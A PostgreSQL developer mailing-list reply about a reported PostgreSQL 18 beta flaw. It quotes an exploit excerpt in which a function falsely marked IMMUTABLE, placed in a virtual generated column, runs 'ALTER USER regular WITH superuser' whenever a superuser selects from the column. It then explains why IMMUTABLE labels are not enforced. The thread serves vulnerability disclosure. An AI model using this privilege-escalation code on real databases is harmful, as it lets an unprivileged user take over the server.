Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them

On Fri, May 23, 2025 at 4:43 PM Feike Steenbergen
<feikesteenbergen(at)gmail(dot)com> wrote:
>
>
> Hi,
>
> While evaluating the PostgreSQL 18 beta, I had a thought experiment where I
> thought it might be possible to use the new virtual generated columns to gain
> superuser privileges for a regular user.
>
> Attached is a sample exploit, that achieves this, key components:
>

hi.

excerpt from exploit_generated.sql
-----
CREATE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
IF (select rolsuper from pg_catalog.pg_roles where
rolname=current_user) THEN
ALTER USER regular WITH superuser;
END IF;
RETURN i::text;
END;
$fun$
VOLATILE;

CREATE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

-----

when you mark it as IMMUTABLE, postgres think it's IMMUTABLE, but in this case
exploit_generated.exploit(i int) clearly is not an IMMUTABLE function.

Only IMMUTABLE functions are allowed in generated expressions,
but you can still misuse it by wrongly tagging the function as IMMUTABLE.

for example:
CREATE OR REPLACE FUNCTION exploit1(i int) RETURNS int LANGUAGE SQL IMMUTABLE
BEGIN ATOMIC
SELECT random(min=>1::int, max=>10);
END;
create table t1(a int, b int generated always as (exploit1(1)));

but
create table t3(a int, b int generated always as (random(min=>1::int,
max=>10)));
it will error out
ERROR: generation expression is not immutable